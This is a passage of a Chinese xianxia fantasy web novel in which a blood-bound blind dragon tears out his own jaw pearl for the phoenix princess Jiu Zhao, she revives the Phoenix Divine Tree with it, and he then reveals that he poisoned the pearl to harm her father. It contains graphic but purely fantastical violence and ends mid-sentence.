九昭没出声,从头到尾细致地打量巫逐一圈。 单论皮囊,这条罪龙的确有着能够挑动少女情肠的资本。 只是那双眼睛,不知是否因为失明的缘故,没有半点光彩。 再配合他行走坐卧间藏不住的久经杀伐之气,无端戾意横生。 九昭看着作为血契生效的标识,映刻在他瞳孔上的两道凤凰图腾,倏觉那原本如同火焰般熊熊燃烧的纹路,在他黯淡阴沉的瞳色压制下,仿佛彻底熄灭了似的,透出股不祥气息。 “主人怎么不说话?” 万年前,自身尚未失明时的记忆,还留在巫逐的脑海,斑驳可循。 母亲尽管诞下了他,却不认他为儿子,也从来不管他的死活。 为了自保,他打小就用污泥尘灰抹面,以求那些虚伪爱洁的同龄之辈远离。 可欺辱打骂,没有一日放过他。 某次被人使用仙术缚在暴雨中跪了整夜,第二日那作恶队伍的领头者,一位身份尊贵的大部女子过来验收结果时,不小心窥见了他被雨水冲刷干净的面孔,被惊艳之余突然起了歹意。 “喂,小/贱/种,你若跟了我成为我的男宠,我便从此以后庇佑你,让你抬头做人,如何?” 巫逐有些不记得自己是怎么回答她的了。 似乎笑了笑,而后将一口混合着鲜血和牙齿碎片的唾液唾到了她面上。 自此以后。 辱骂加倍,殴打升级。 花样也从简单粗暴的拳脚,变成尖针、铁板、绳索…… 登神失败,成为半神后,巫逐只觉得自己被劈坏了脑子。 眼前的世界总是,一半黑白,一半多彩,一半冰冷,一半温暖——对于三清天的过往,他仿佛陌生人一般冷眼旁观,正常的喜怒哀乐,只存在于抵达焚业海后开启的新生活。 不过,摒弃这些乱七八糟的回忆不谈,能被眼高于顶的女仙看重,自己总应该是好看的吧? 纵使不能直接接触九昭的眼神,但凭借另一双“神识”的眼睛,巫逐感觉到九昭的双眼始终停留在他的身上,心中莫名多了些许得意。 他越发想要从九昭口里得到一个保持沉默的答案—— 却冷不丁听见一阵宽衣解带的动静。 巫逐:“?” 怎么,她被当年那个女仙俯身了吗? 他的表情顿时警觉起来,后退一步,双手牢牢攥着自己的衣袍。 九昭并不知晓巫逐的想法。 她只是好奇,难道龙身鳞片的红色,化作人身时还能影响肌肤的颜色? 否则,怎么那条死龙的脸看起来莫名其妙地又红了…… 窸窣声过后,九昭解下自己腰上巴掌宽的丝绦,将其绕在指间,一步一步朝他走近。 “你、别过、我变成人身,可不是为了供你——” 天晓得,战无不胜,连死都不怕的巫逐将军,为何会随着九昭的靠近,在越发浓烈的玫瑰香下节节败退。他语不成调,脑海俱是利用漏洞,破除九昭设下的禁制,偷听他们情事时的靡语。 “……” 待到背后只余坚硬的墙壁,退无可退时,九昭在巫逐面前站定。 她低声骂了句有病,紧接着一把揪住他的前襟,迫使其弯腰俯身,屈就自己。 如此,依然不够。 “没事长那么高干什么……” 她撇了撇嘴,肆无忌惮地吐槽着巫逐,踮起脚来,抓着掌心丝绦的两端,交叉绕过他的脑后,有来来回回调整着位置,确定丝料严实盖住青年的盲眼后,才满意地打了个死结。 那丝绦的原料来自南陵的缥云蚕,百年才能织成一匹,穿在身上轻柔如同无物。 奈何由于眼盲,巫逐双睑的周围十分敏感。 珍贵的丝料在眼皮上方左右滑动,凉滑的、酥麻的、微痒的——哪怕九昭对待他的动作并不温柔,依旧称得上是巫逐人生直到现在,所感受过的最美妙体验。 他的睫毛不自觉抖颤起来。 为须臾之间的悸动而顿生惶惑。 这是什么奇怪的情绪,从未有过的,竟然能将跳动着的心脏麻痹。 让人感到畏惧,却又忍不住心生向往—— 巫逐凝起全部的注意力,正欲细细分清,九昭却迅速撤回双手,离开他的身际。 她走了。 那馥郁到可以将人整个包围的玫瑰香也走了。 唯独剩下流连在眼梢的那些。 “你既然出来了,可以把颌下珠献给我了吧?” 触碰过巫逐的身体,九昭有些嫌弃地拍了拍双手。 这凭空顿生的脆响,令巫逐骤然回神。 他虽然不明白身心的亢奋是为何,但曾听巫劭说过,克制不了冲动的人只有失败的下场。 自己既然出来了,就绝不能默默无名死去。 要放出巫劭,要推翻嗣辰,要将三清天闹个天翻地覆! 而想要让人从冲动状态回归清醒,最简单粗暴的方式便是—— 打定主意,巫逐淡淡道:“我可不像一些三清天的走狗,承诺于人,还要出尔反尔。” 说着,他变手为爪,利爪舒展弯曲间附上灼热神光。 好久没听见巫逐突然逞口舌之快。 等九昭意识过来,应该抽出打神鞭,好好警告他不许乱说话时。 却见他倏忽将爪子对准下颌到脖颈相接的皮肉,毫无准备地狠狠挖了进去。 伴随噗嗤一声,血肉飞溅。 四散的血液甚至袭上了九昭刚刚为他绑好的丝绦。 白的覆带,红的鲜血。 将好不容易收敛了锋芒的凶兽,重新变回杀仙如麻的罪神修罗。 九昭不自觉探出裙摆的绣花缎鞋上,也沾染了一点。 素白的蕊心,被血液洇染,化作鲜红的几簇。 九昭愣愣的眼神从鞋尖一路向上,重新落在巫逐身上。 随后,她差点发出尖叫。 幸好巫逐眼疾手快,用另外一只干净的手捂住了她的嘴。 被撕裂的模糊血肉中,一颗璀璨而美丽的宝珠,紧紧连接着输送血液的脉络。 “主人、喜欢吗?” 巫逐因剧痛而低声喘气,话音断断续续。 苍白嘴唇张合的同时,下颌霍开的皮肉也一颤一颤,如同躯体上多出了第二张怪异的嘴。 他感觉好了点。 强烈的疼痛压倒身体的亢奋,尽管虚弱,理智终于恢复清醒。 无视九昭瞪大的双眼中浮现的惊愕情绪,他摆弄着自己的身体,像是在摆弄一件工具。 剥开血肉,撕裂脉络。 将那颗价值连城的宝珠掏了出来。 半分不舍也没有的,塞进了九昭的手里: “既想要,我便给你。” 95| 第95章 ◎“若当时是我在场,我一定会阻止。”◎ “你你、你不是说颌下珠是神力恢复后, 从身体里凝结出来的吗—— “你所谓的‘凝’就是上手生掏?!” 喉咙深处被浓郁的血腥气刺激得翻江倒海,九昭极力忍耐着作呕感,质问巫逐。 巫逐用一副自以为很懂她的表情回答道:“温和点的、减少身体损伤的方式当然有, 可那怎么会是主人你想看到的呢?主人不就喜欢看我被折磨得遍体鳞伤, 血肉模糊—— “最好在献出颌下珠后,马上以悲惨的姿态死去吗?” 献出颌下珠马上去死,的确是九昭最真挚的期盼。 但说到被折磨得遍体鳞伤、血肉模糊—— 九昭皱着眉侧过头,想反驳这种变态的事情唯有焚业海的妖魔才喜欢做, 可不知怎的,杏杳在告知修炼涅槃凤火的秘诀时,顺带提起的巫逐往事倏然出现在她脑海中。 生下他的母亲拒绝认他为子, 又没有父亲保护。 从小到大,都因为半魔之身,备受冷眼欺辱。 …… 似乎,是三清天对不起巫逐在先。 似乎, 自己若要痛斥魔族残忍, 就得先评判同胞们做下的恶事。 过去几十年, 九昭从来没有仔细思忖过这些,只将巫逐当成迟早要杀死的仇敌, 然而如今听见他理所当然地, 将所有三清天神仙看作阴暗刻毒之辈,心情却微妙的, 感到很不舒服。 她冷冷道:“你说得对, 我巴不得你赶紧死去不要再为祸三界。但是死别死在我眼前, 我没有那种虐待人的奇怪癖好, 下次非要自虐, 就滚到离我远一点的地方去, 别脏了我的眼睛!” 闻言,巫逐有些意外。 “那些在战场上遇见的仙兵神将,都大骂我是三清天的叛徒,抓到我后要将我剥皮抽筋,就连你的父神嗣辰也认为,让我死得痛快太便宜我了,才把我和巫劭囚禁在无日渊,受尽雷罚折磨。 “怎么,你反倒不认同他们的做法么?” 不提九昭和那些自从他叛天后,真正同他结怨的仙众。 当初他还是三清天一员时,跟他无冤无仇的贵族少年们,便喜欢用各式各样的方式伤害他。 巫逐以为看到自己变成这样,九昭只会高兴。 如此,他也能再度印证一如既往的想法—— 三清天的神仙空有光风霁月的名号,实则内里一团污秽。 他失明的瞳孔,循着神识感知到九昭面孔位置,垂落下来,定定“望”着九昭,想要利用神仙同袍和嗣辰的父亲身份,逼迫九昭就范,承认用血腥手段对待他们这些罪神,并无任何不妥。 只是越是迫切,从九昭口中得到的答案就越是令他意外。 “我在杏杳医仙那里听到过你成长的经历,那些折磨你的人,都是打着你混有一半魔血,迟早会祸乱三清天的名义。我不认同他们的想法,就算一个人被预言未来会作恶,可现在他只要还没有伤害过任何人,就不应该受到评判,更不应该受尽折磨,若当时是我在场,我一定会阻止。 “你也别误会,我在这里跟你说这些,可不是为了树立什么贤名。 “只是单纯看不惯三清天的名声,被这群人玷污了而已。” 解释完想法,九昭略作停顿,又说起他与三清天为敌,杀害无数仙兵后被神帝判处承受刑罚的事情,“另外,你不要把受折磨的事情都混为一谈,你杀了那么多神仙,受雷罚之刑不是很正常的事情吗?我父神只是依据天令对你惩处而已,并非为了一己的私欲好恶,你休想将我带偏!” 后面的话,巫逐没怎么听进去。 只因她一句“恶人没有伤害过别人,就不应该被评判,不该受折磨”过于震撼。 这极大地冲击了他千万年以来的认知。 怎么——三清天,也会有讲道理,不把魔血视作万恶之源的人、吗? 巫逐的大脑空白一瞬。 下巴伤口处,溢出的鲜血仍在不断滑落,将靴底踩陷下去的织毯染成深红颜色。 疼痛并无半分消减,可那股被短暂压制的、陌生到叫人无所适从的情愫卷土重来。 重拳出击,结果落在棉花里,无处发泄的烦躁尚在体内翻涌起伏,他又陡然感觉到一道温暖而纯净的光芒轻轻触碰了自己的肌肤——九昭竟然在释放治愈术,对他释放治、愈、术。 仙光将被利爪翻搅的伤口包裹,撕裂的皮肤迅速恢复,破碎的血肉再度弥合。 因为血契相连的助益,九昭复原起他的外伤格外得心应手。 虽没有将失去颌下珠的缺口彻底治好,但那一阵阵令人头脑发昏的剧痛减轻许多。 “……这又是为何?” 巫逐的声音极轻,询问着九昭,却更接近于喃喃自语。 疼痛不复,勉强维持的平衡彻底倾覆。 他心脏跳动的频率越来越快,如同擂鼓,震耳欲聋。 反击的九昭,用一双“你看起来真蠢”的目光望着他:“你现在是我的所有物,我想怎样还要告诉你是什么原因吗?你的血肉滴滴答答,脏了我的地不够,难道回了灵台,还想继续流——” 她话没说完,双眼覆带的青年便化作一团雾气消散开来,重新钻入了她的额心。 “……?” 望着满地狼藉。 思及这条比自己还要喜怒无常的死龙,九昭又忍不住骂了句有病。 …… 距离百年隐居之期,已过了将近一半的时光。 凤凰神树内,还要修炼蛰伏七七四十九年。 意识到时间的紧迫,九昭在拿到颌下珠,且细细检查过没什么问题后,便请见了神帝。 又是一番步骤相似的查验。 神帝挥袖,神帝挥袖,将掌心确认无误的颌下珠退回到九昭手里,才笑着打趣:“这么多年了,昭儿总是藏着掖着不给为父看,为父还以为你没拿到颌下珠,又或者那罪神烛龙没有真的死去呢。” 不经意的言语,总是能恰到好处地戳中真相。 九昭的额角,默默落下两滴不存在的冷汗。 她抬起头,对神帝真情实感地编起理由:“父神莫怪,从前女儿身受重伤,处处都没有做好准备,便将颌下珠封在了储物戒最深处,如今觉得万事俱备了,才将其重新开启,拿给父神过目。” 听完这个借口,神帝静静望着九昭,没有多说什么。 父女俩又如寻常般闲话家常,以及询问九昭近些日子在课业方面遇到的问题和疑惑。 半刻钟后,法身虚像消失前,神帝意味深长地留下一句:“只要吾儿真的做足了准备就好。” …… 五日后。 与琼英王提前说明情况,九昭开启传送阵,前往位于南陵中心地带的凤凰族禁区。 昔日巫劭带领凤凰族叛天,一把涅槃凤火将领地的大部分建筑烧毁,以示自己同三清天不共戴天的决心。随后,牡丹族的琼英上神成为新任神王,她没有另外建造宫室,只将原本居住的丹瑄宫设为神王宫。因着神术影响和政权转移,万年前最繁华热闹的中心地带只剩下焦黑和空漠。 涅槃凤火毁灭土地,带走所有生命。 致使涉及的领域内寸草不生,自然也不再适合神仙居住。 神下令将凤火侵蚀的方圆百里设为禁区,让生活在周围,过去依附凤凰族生存的底层散仙搬徙,其中以凤凰神树为核心的凤族圣地,更亲自设下上神禁制,唯有手持神令者方可开启进入。 九昭拥有的令牌,能叫她在无人帮忙的情况下,进入无日渊的监牢。 自然也能助力她进出凤凰族的圣地,畅通无阻。 将神令小心翼翼契合在屏障之间,连通四方神力,禁制上的青蓝神光大盛。同源的力量短暂消弭了禁制的攻击性,九昭提着裙摆,缓慢踏进其中,入目的场景却与她想象中的截然不同。 因神帝喜好庄严奢华,为讨他的欢心,整个三清天上下无不遵从。 但凡与隆重典礼、神圣祭地相关的建筑,建造均极尽瑰玮,以彰显煌煌天上白玉京的气度。 而凤凰族的圣地,不仅并不华美,甚至连宫殿房屋之类的寻常配置都没有。 凤凰非梧桐不栖,非醴泉不饮。 圣地中心,棵棵粗壮,需要二人合抱的梧桐树排列成圈,簇拥着一处由降低热意之效的白霜玉垒砌而成的半高圆台,圆台最高处,是一棵扭曲在一起,看起来死亡已久的漆黑枯木。 相比那些生长在焦土之上,依然生机勃勃的梧桐,这棵枯木十分纤细不起眼。 尽管补充了不少凤凰族的知识,但亲眼所见,九昭又下意识对自己的记忆出现了怀疑。 这、这是凤凰神树……? 凤凰族的象征,传闻其上生有能够焚尽万物的元初之火的圣物,就长这样……? 自己手中的颌下珠仅有一棵,如若认错了树,浪费不说,再想让巫逐重长一颗又得千万年。 犹豫再三,九昭将眼下唯一能够求助之人,从灵台里召唤了出来。 “主人又有什么事?” 盲眼的青年应声出现,几日前,九昭粗鲁打结的丝绦依旧好好覆在他的双眸间。 甚至昔日被鲜血污涂之处,也被重新清洁干净。 一番交谈,了解清楚九昭的需求,巫逐的脸上却显出几分为难:“这凤凰族的圣地自有一股上古神力覆盖,想要我通过神识,隔空分辨你所说的枯木是否为凤凰树,只怕有些不容易。” 九昭不疑有他。 虽不情愿,也只好拉着巫逐向圆台高处走去。 再引导性地握住他手掌,贴在粗糙的树皮上,方便他深入感知。 几息之后,目盲的青年开口道:“主人,拿出颌下珠,催动仙力将它化开,融进树中去。” 96| 第96章 ◎“只可惜。”◎ 九昭顺应照做。 自指间释放的仙力, 不断催化着颌下珠,不多时,它那层莹润坚硬的外壳逐渐消散, 一团同样为火系的神光悬停在九昭的掌心之上, 带起阵阵逼人热意。 接着,她翻转手腕,使力将其一推。 那团静静燃烧的神光,便仿佛突然有了生命般, 前飘一段距离,缓缓沉入树心当中去。 整个过程十分顺利,颌下珠蕴含的至阳之力一点一点被神树吸收, 且未发生任何排异反应。 九昭提着的心,这才放下些许。 她上前一步,目不转睛地观察着神树的变化,而巫逐则无声退至高台边缘。 许久之后, 九昭期待的神色不自觉变得凝滞。 “巫逐, 你来‘看看’—— “这凤凰神树, 它怎么一点儿反应都没有?” 巫逐却没有半点要上前的意思:“不妨再等等,吸收神力总不至于这么快。” “我都等了半日了, 它该不会是彻底枯——” 死了吧。 轰! 最后三个字被巨大的声响淹没在齿关里, 只得九昭一人听见。 一股庞然的力量倏然在她面前爆发,直冲苍穹的火光将纤细干枯的树干尽数笼罩。 九昭被吓了一跳。 踉跄连撤两步, 才站稳身形。 占据她全部视野的力量跳跃着、扭曲着。 最终化作一只火焰拟态而成的凤凰, 仰首飞了起来, 朝着禁制外的天空嘹亮唳叫。 如此不够, 从凤凰没有瞳孔的眼珠中, 九昭似乎看出了对于自由的强烈向往。它在她视野中急速缩小, 奋力振翅,化作箭簇般的光影冲向困顿自身的青蓝神障—— 力道之大,叫整片圣地震颤起来。 九昭站在原地,一种沉重如海的压制力禁锢着她行动的脚步。 眸中明灭的情绪,逐渐变得有些不安。 原来,神树复苏,会闹出这么大的阵仗来吗……? 她一时恐惧凤凰真将神力禁制冲破,一时又担心起那禁制的隔绝作用会不会失效,会不会就在他们看着凤凰闹腾的间隔里,有人闯入凤凰族圣地,复生神树的消息,已经在三清天传开。 庆幸的是,现实的发展,没有九昭想象的那么糟糕。 失去了实体的凤凰,总是气势再强,终究只是不能长时间维持的一抹虚影。 在冲撞无果后,它旋飞一圈,一边不甘心地鸣叫,一边被迫归于包裹神树的至阳火焰中。 顷刻之间,火焰深处树木形状的黑影向上不断拔高,先是叶片为赤红和枝杈为深褐的树冠出现在九昭眼帘。而后火焰朝下,一寸一寸熄灭,露出远比四周的梧桐更加挺拔粗壮的树干。 凤凰神树活了过来。 分明四周无风,枝叶却瑟瑟抖颤。 九昭感觉到一种奇异的感情,在她和神树之间建立。 温暖的、宽厚的、包容的……如同她那一出生便失去了的母亲。 母亲召唤着孩子,令流落的灵魂回归它的臂弯。 火苗归于火海,水滴溶于汪洋。 …… 她的思绪即将沉溺,却又被巫逐半是讥刻半是玩味的声音拉回:“凤凰神树活过来了,主人你这几十年真没白忙活,现在助你修成涅槃凤火的容器也有了,那么下一步呢? “主人你是不是应该跟父神和老相好,哭哭啼啼挨个告别?毕竟能不能活着回来还不知道。” 心愿终于达成的时刻,九昭也懒得跟巫逐计较。 “我活不了,难道你能置身事外?” 为了不被怀疑,她照常回怼一句。 转过头,又回归深思。 自己这头大功告成,巫逐那头死期要到。 只要进入凤凰神树,非至成功涅槃或者彻底死去方为结束。 在那之前,怕是巫劭亲至,也没有强行突破的可能。 而巫逐作为她的血仆,更是没有拒绝的自由的。 况且,她惦记着那句“不可缔结逆向契约,否则空有倾覆之祸”的警告,特地选在他失了颌下珠,还没来得及休养几天的日子,为的就是巫逐没有足够的力量做出些小动作。 思及此,她也断了回去同父神祝晏告别的心思。 免得还不知晓元初之火能杀死上神,偏偏直觉又十分敏锐的巫逐发现什么。 在决定实行这个计划前,九昭也曾担心过,当日未知共感的牵系,没来得及给巫逐下禁制,他会不会借由他和父神的对话发现了端倪。 又或者,干脆巫劭当日就曾对他说起过这个凤凰族的最高秘密。 动身前往凤凰族领地的前一日,她特地试探过巫逐。 有血契在,他不可对主人撒谎。 几个问题下去,九昭却只看见了他迷茫而一无所知的表情。 有了这个前提,此时此刻的九昭尚算安心。 她再次看了眼还不清楚即将发生何事的盲眼青年,为着一丝自己手段不够光明磊落,欺骗别人去死的不适感,最后问了一句:“当初那些欺辱过你的人,你可还记得他们的名字?” 也算报偿他献出颌下珠的人情。 巫逐愣了愣,略感意外:“怎么,只是献上一颗颌下珠而已,主人便忘了我做过的恶事了吗?你想着替我出头,可我早在叛天时就选择了放下三清天的过往,那些人的名字,我早就忘了。” 面对他的坦荡,九昭陷入沉默。 过了会儿,才道:“……罢了,你想不想得起,这世间万物也自有因果报应。” 除此之外,再无话可说。 她一指巫逐,血契的强行作用下,青年被迫化作青烟重新进入她的灵台。 高台之上,转眼只剩下九昭一人。 她给神帝和祝晏分别带去一条自己唤醒了凤凰神树,即将进去开启修炼的仙讯,随即身影也涣散成为一团仙光,飘向树心深处。 …… 过去所掌握的那些,关于凤凰神树的知识,总归是“纸上得来终觉浅”。 进入此中,九昭方体验到种种书本不及的真实。 许是修炼功法都需要个循序渐进的过程,神树内部虽然十分炽热,却尚在能够忍受的范围。 九昭试着动了动手脚,发觉周遭尽是一片空茫的赤红,那赤红是燃烧着的涅槃凤火。 如果非要用一个合适的语句,来形容此刻的感受,就好比她是埋在焚坑里,被实行火葬的尸骸,一时半刻还未被完全化去,只是在无所不在的火焰中承受着焦灼和煎熬。 不多时,她身上昂贵的衣裙被火光吞噬,滚烫的热意将她的肌肤紧紧裹覆。 尚未对赤/身/裸/体的状态产生害羞情绪,大片大片的凤羽突然长了出来,乱糟糟地支棱在她的面孔、脖颈、胸口、手臂,以及下半身。肩胛骨后,类似绿芽刺破土壤的脆声顿生,一点疼痛反应到脑海,一双远比平时状态更为庞大的凤翅冲出血肉,沉甸甸的重量将九昭带着向下一坠。 浮荡的躯体,没有着陆点,更无任何依靠。 九昭连坠了好一会儿,才勉强掌握平衡。 不知道其后的四十九年,会是何等光景。 趁着神志尚算清醒,她没有忘记自己该做的事情。 她并起两指,用力点向自己的额心。 一股不容拒绝的蛮力,将蛰伏在灵台中,半晌没有言语的巫逐拽了出来。 触及对方蒙眼的丝绦,与之“坦诚相对”的九昭,才勉强按捺下了不该有的赧然心绪。 她伸出手掌,心中默念着解除血契的步骤,施术开始催逼起巫逐体内那滴属于自己的精血。 热意吞噬五感。 没有依托的空间更叫人生出失重的错觉。 感觉到不知名的异物,在九昭仙力的牵引下于脉络间持续攀升,试图抵达位于喉道的出口,他偏了偏面孔,下巴正对九昭所在的方向,没有任何意外地询问道:“主人,你要在这里杀我?” 不好—— 若是才发觉自己要做什么,不该是这个反应。 九昭心跳乱了一拍。 但她转瞬又分析起敌我的情况,得出结论,巫逐失去大半力量沦落至此,且神树内部又是她的天然主场,一旦失去血契的约束,那些无处不在的涅槃凤火,只会率先攻击巫逐这个异族。 优势在我,索性把话挑明。 她仗着背生双翼,迎着滚滚热浪上飞了一段距离,形成居高临下的审判之势:“你早该知道会有这一天。进入凤凰神树前,我询问你的那个问题,现在还奏效——不必故作洒脱,这是最后一遭了,你若记得起欺辱之人的名讳,待我出去后自会为你报仇。” 巫逐依然十分平静。 面对九昭单方面为自己定下的死期不置可否。 只仰起面孔,好奇地反问:“怎么报仇,主人会替我将他们千刀万剐吗?” 九昭被他噎了一下,经久才道:“千刀万剐,当然不可。三清天的律令再多,也从未颁布过这般可怖的刑罚。不过你放心,既然应承了你,我自会完成你的遗愿,往后不会叫他们好过。” “那真是谢谢主人了。” 巫逐笑了起来。 九昭见过他大笑、嘲笑、冷笑…… 仿佛那抹多数人用来表达欢喜的弧度,于他而言,只剩下打击挑衅敌人心智这一条用途。 可这次的笑意,却格外不同。 伴着发自内心的愉快,他的表情倏忽变得柔和:“这样想想,三清天也不全是伪善丑恶之徒。竟还有你这样的,追求公平,信奉一报还一报的傻瓜—— “只可惜。” “可惜什么?” 在巫逐未尽的言语里,嗅到一丝风雨欲来的气息,深知他不会束手就擒的九昭立即追问。 而巫逐,也不曾想过要隐瞒她。 他唇角的弧度越弯越大: “只可惜,他们都已经死了。” 97| 第97章 ◎“我想,占有你。”◎ 巫逐继续不紧不慢地说着:“他们中的一部分人, 是在战场上被我杀死的。 “另一部分,则是——” 奇怪的。 一开始,分明是, 她要利用元初之火杀了巫逐。 可此刻场上的局势, 巫逐却仿佛猫捉老鼠般逗弄起了她。 巫逐奇异的语调,刻意的停顿,直叫九昭内心的弓弦绷到最紧。 她益发感觉到不安,随即停止了逼出精血的仙术, 追问道:“还有些什么,快说!” “不如来猜一猜吧,主人。” 巫逐勾着唇角, 苍白面颊被曳曳火光映衬出接近妖魅的红意,“除了正常的耗尽寿数魂归天地,以及在战场上伤重而亡,整个三清天, 还有什么地方是总有人死去, 但不会引起怀疑的?” 越是紧张的对峙时刻, 九昭的大脑转得越快。 凝在嘴边的答案呼之欲出。 巫逐并不给她将猜测说出口的机会,微微仰面, 自问自答道, “每一届的仙考,无论地仙、金仙还是天仙, 总会设置几个死亡名额, 反正考规本就明确了不计手段, 不计方式, 只为赢得最终胜利——过程中有些神仙运气不好, 出意外死了, 那也是没办法的事。” 九昭觉得不可思议。 “你一个区区半仙半魔之身,又无父母亲族倚仗,怎么可能操纵得了仙考? “莫非,是巫劭……?” 听九昭提到巫劭,巫逐平静的面色遽然一变:“我这样卑贱的身份,在三清天人人皆可践踏,自然没有那个本事。主上在未叛天时,掌管着军中事务,又哪里来的闲工夫去碾死几只蝼蚁?” 作为巫劭的忠实拥趸,恐怕连对方随口吐在地上的唾沫,巫逐都会觉得是香的。 就算真是巫劭所为,他决计也不会说他半句坏话。 真相悬在自己面前,仅仅隔层薄纱,可是否将其揭开的选择权,却在巫逐手中。 九昭的目光一寸一寸焦灼起来,心头似有火烧,她急于探知真相,又听见重新恢复镇定的巫逐继续询问:“我的母亲是高高在上的天仙曦葵,我的父亲却是盘踞在溟潭深处,漆黑肮脏的魔蛟——这看似天差地别的两人,身上却有着一个共同点,小姐可知是什么?” 这又是话锋一转去了哪里。 在故意跟她兜圈子吗? 九昭不假思索呛他道:“我怎么会知晓?” 巫逐也不着急,语调慢悠悠的:“那便是,他们的原形,皆是有毒的兽类。” 说着,他咬重接下去的几个字眼,“而且,是剧毒。” 巫逐口中的阴森,激得九昭眉心一跳。 她不是没见过生活在灵兽森林里,那些天生含有剧毒的野兽, 既是剧毒,多半特征明显,或气味浓烈,或颜色诡异,而且除非直接触碰到敌人没有被皮肤包裹的部位,譬如眼睛、口腔,否则仅是洒在肌肤表面,有仙力庇体也很难奏效。 当然,这个前提设立在实力大致相等的情况下。 九昭正奇怪难道哪些人是傻的,亦或者巫逐耍了阴招—— 他又像是随时知晓她在想些什么一般,沉声解释道:“我因他们错误的结合而生,自然毒上加毒,可打从修行开始,我便明白了一件事,若需要对付的敌人只有一个,又不计代价,愿意拼上自己的性命,那么的确是一击致死的剧毒好。然而我的命只有一条,害我的人却有无数,想要一一报偿,用一报还一报的办法半点儿也不好。” 流窜的元初之火中,遮盖巫逐双眼的轻薄丝绦很快被烧毁。 那双没有焦点,但寒意满浸的眼睛冷不丁露了出来。 他凭借神识精准判定九昭的方向,眸光定定抬起,比火焰的颜色还要深一些,近似血红的瞳孔,无端令九昭生出他正在注视自己的错觉:“我思考了很久,亦在主上的帮助下钻研了不少书记,终于找到一条将剧毒化为无色无味的慢毒,侵蚀敌人护体仙力,渗入肌肤奏效的办法。 “那慢毒虽然不会叫人立刻死去,却能够持续不断地分化仙力,腐蚀根基,人还会在麻痹和致幻的作用下,收获比以往更为轻松愉快的心情,到真正发觉时,已是精神恍惚,深深上瘾。 “随着位阶的提升,这种慢毒越来越隐蔽,效果也越来越接近我的想象——” “唯一让我遗憾的,是那些害我的人,没捱到那个时候就先死了。 “仙考这种需要全神贯注的场合,但凡出现一丝缺漏都会失败。 “于是,他们就在比试剑招时,躲避不慎,被人一剑贯穿心脏而死,在经历关卡时,被幻境催生心魔,狂乱而死,还有,执行仙考任务时,被森林的野兽分食,站不稳跌下扶桑木摔死……” 巫逐绘声绘色地为九昭描述了敌人们的悲惨死状。 说到兴奋时,他锋利的眉梢高高挑起,仿佛自己才是那个真正因为中毒沉溺迷幻的人。 相对应的,九昭脑海接连浮现他语境里描述的场景。 血腥的、怪异的、癫狂的、错乱的。 待到手掌被人一把握住,她才发觉,不知何时,巫逐已经逼到了自己的身前。 将面孔凑近她的耳廓,巫逐的薄唇缓慢张合着:“我母亲碧鸾的毒腺,藏在后颈的翎羽处,我父亲魔蛟的毒腺,则藏在双爪的硬皮处,主人要不要猜猜,我的毒腺又在哪里?” “滚开—— “谁叫你离我这么近的!” 裸/露的肌肤被较火焰更灼热的呼吸拂过,九昭后颈的凤羽在应激之下,通通炸开毛来。 她恼羞成怒,手腕在巫逐掌心剧烈挣扎着,想要一巴掌打开他的面孔。巫逐却牢牢禁锢着她,甚至将她的指尖抵到自己伤口弥合的下颌附近:“主人看,就是这里,我的毒腺就在这里。” 这里。 这里明明是当初,颌下珠的位置—— 九昭的瞳孔边缘急速放大,一个可怕的念头于心底遽然产生。 她反抗的动作一滞,嘴唇抖索两下,应当脱口而出的质问,却犹豫着,不敢出声。 那头,巫珠便立刻心有灵犀地眯起眼来:“主人那日问我,明明有能不伤害自己就取出颌下珠的方式,为何非要选择硬生生挖开——我的回答,主人还记得吗?现如今,你知晓原因了么?” 不对。 不应该是这样的。 若巫逐的毒腺藏在颌下珠附近,在将其取出的过程中,他顺势把毒抹在了珠子上,可自己跟他结了血契的主仆,免疫他的一切攻击,他想让自己中毒,应该在契约解除以后说出真相才对。 现在说了,建立血契的精血还在他的体内,没有被逼出来,岂非前功尽弃? 还是说,难道从一开始,他打算对付的就不是自己?! 未知突然触及了记忆的哪一点,九昭突然想起,触碰过颌下珠的还有一人。 那便是—— “父神!” 青年那原本用以禁锢的、坚若铁牢的手指,在九昭奋力挣扎的这一刻,突然松了开来。 指腹在这片虚无中,如实感受到另一人的肌肤触感。 是一段没有被任何衣物遮掩的颈项。 是属于巫逐的颈项。 就这样毫无防备地静止在她得到解放的掌心下。 九昭想也不想,一把将其掐住,在自己也不曾意识的辰光里,她的双眸悄然弥漫红意:“你算到了我不放心,会把颌下珠拿给父神查验,所以提前将毒抹在了那上面是不是?!” “咳咳——” 气管中流通的空气被人阻断大半,因着失去颌下珠还十分虚弱的巫逐立即咳嗽起来。 他不做任何反抗,用断断续续的话音迎合着九昭:“不、不仅如此——我还划破了毒腺,将所有的、的毒液,都融入了那颗、颌下珠。我虽、只是半神,嗣辰却将一半神力、给了你—— “他的身体、早不复当年强盛,自然也、招架不住我的慢毒。 “哦,还有,颌下珠化作神力,皆融入了、凤凰神树当中,眼下你还是我的、我的主人,感受不到毒液已经、已经四散流淌在这、树心内部——你想解除契约,不妨试试看、会不会中毒。” 不是这样的。 怎么能够听信巫逐的谎言? 她在三清天活了几万年,根本没听说过会有这样厉害的、连神帝都能瞒过的毒。 更何况,当年无日渊内,巫逐就佯装神志不清,欺骗过他们一次! …… 可父神的一半神力,的确在自己的体内—— 那逐渐雪白的华发,亦是日日肉眼可见。 …… 两道截然相反的声音,在九昭的颅内来回拉扯,让她感到头痛欲裂。 巫逐偏还不肯放过她:“不相信、我吗,主人? “可你又能、又能做什么? “进了凤凰树心,除非死去或者涅槃,否则、再也没有出去的、可能性。 “无论是、对着嗣辰、忏悔,还是找到医官、检验真相,你都、都做不到。 “是你的自以为是、自作、自作聪明,害了你父神——” “闭嘴、你给我闭嘴!!” 九昭无法思考,树心内的元初之火热意剧增,她身上兽化的凤羽再度刺破肌肤,大片长出。 刺痛、灼烧、煎熬、心口持续的闷涨,让她的清明和理智逐渐扭曲。 “没关系、主人不必担心,出去会给嗣、嗣辰收尸—— “慢毒、而已,总要在体内折磨、许许多、多年,才会到、油尽灯枯的最后一步——” 九昭只恨不能原地让什么血契、什么下仙无法真正杀死上神的天令通通爆炸,然而就差一点便能将他的脖子彻底扭断,那掐着脖颈的双手却抖颤着,再无法遵从心愿,深入哪怕一寸。 她赤着双眸,将巫逐举在空中,一字一顿地问着:“你、到、底、想、干、什、么?” 巫逐勉强歪了歪头: “我想,占有你。” 98| 第98章 ◎“你下得了手吗?”◎ 言简意赅的五个字, 拆分开来,字字语义清晰。 组合在一起,却变成了九昭听不懂的话。 没等她做出反应, 看起来随时快要昏过去的巫逐不知哪来的力气, 